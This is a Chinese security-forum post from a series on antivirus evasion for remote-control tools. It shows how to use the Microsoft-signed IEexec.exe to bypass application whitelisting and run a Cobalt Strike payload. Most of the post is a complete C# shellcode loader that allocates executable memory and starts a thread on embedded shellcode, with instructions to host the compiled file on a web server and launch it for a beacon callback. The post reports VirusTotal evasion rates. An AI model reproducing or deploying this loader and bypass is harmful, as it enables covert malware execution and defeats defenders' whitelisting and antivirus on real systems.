安全矩阵

 找回密码
 立即注册
搜索
查看: 1741|回复: 0

远控免杀专题(46)-白名单IEexec.exe执行payload(VT免杀率25-69)

[复制链接]

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
发表于 2020-3-14 17:35:59 | 显示全部楼层 |阅读模式
一、IEexec.exe介绍
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。
IEexe.exe在64位系统路径为:C:\Windows\Microsoft.NET\Framework64\v2.0.50727
二、IEExec.exe执行payload
我们先使用CS生成监听上线的C#payload(注意我们要生成64位的shellcode)。
然后将我们使用VS创建一个C#控制台程序。
编写如下代码(namespace别忘记修改为自己的),然后将CS生成的payload填写到下面代码的数组中。
  1. using System;
  2. using System.Runtime.InteropServices;
  3. namespace testIEexec
  4. {
  5.     class Program
  6.     {
  7.         private static UInt32 MEM_COMMIT = 0x1000;
  8.         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  9.         private static UInt32 MEM_RELEASE = 0x8000;
  10.         public static void Main(string[] args)
  11.         {
  12.             // 替换下面数组中的内容
  13.             byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };
  14.             UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  15.             Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
  16.             IntPtr hThread = IntPtr.Zero;
  17.             UInt32 threadId = 0;
  18.             // prepare data
  19.             PROCESSOR_INFO info = new PROCESSOR_INFO();
  20.             IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
  21.             Marshal.StructureToPtr(info, pinfo, false);
  22.             // execute native code
  23.             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  24.             WaitForSingleObject(hThread, 0xFFFFFFFF);
  25.             // retrive data
  26.             info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
  27.             Marshal.FreeHGlobal(pinfo);
  28.             CloseHandle(hThread);
  29.             VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
  30.         }
  31.         [DllImport("kernel32")]
  32.         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  33.         [DllImport("kernel32")]
  34.         private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
  35.         [DllImport("kernel32")]
  36.         private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
  37.         [DllImport("kernel32")]
  38.         private static extern bool CloseHandle(IntPtr handle);
  39.         [DllImport("kernel32")]
  40.         private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
  41.         [DllImport("kernel32")]
  42.         private static extern IntPtr GetModuleHandle(string moduleName);
  43.         [DllImport("kernel32")]
  44.         private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);
  45.         [DllImport("kernel32")]
  46.         private static extern UInt32 LoadLibrary(string lpFileName);
  47.         [DllImport("kernel32")]
  48.         private static extern UInt32 GetLastError();
  49.         [StructLayout(LayoutKind.Sequential)]
  50.         internal struct PROCESSOR_INFO
  51.         {
  52.             public UInt32 dwMax;
  53.             public UInt32 id0;
  54.             public UInt32 id1;
  55.             public UInt32 id2;
  56.             public UInt32 dwStandard;
  57.             public UInt32 dwFeature;
  58.             // if AMD
  59.             public UInt32 dwExt;
  60.         }
  61.     }
  62. }

复制代码
编译生成exe,然后部署到我们的web服务器上,例如我这里使用的是phpstudy。
使用管理员身份打开cmd,分别运行下面两条命令。
这里的文件路径自己替换为自己部署的exe的路径即可。
可发现CS已成功上线,程序成功执行,执行程序的pid为17116。
系统任务管理器中pid 为17116的程序名称。
虽然此方法的免杀率不是特别的高,但是在很多情况下,即使主机处于仅受信任的应用程序可以运行的模式下,IEexex.exe在某些情况下也可以绕过白名单,因为它可能是受信任的二进制文件,并带有Microsoft签名。
三、参考资料
《Application Whitelist Bypass using IEexec.exe》:https://room362.com/post/2014/20 ... ing-ieexec-dot-exe/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 17:52 , Processed in 0.018886 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表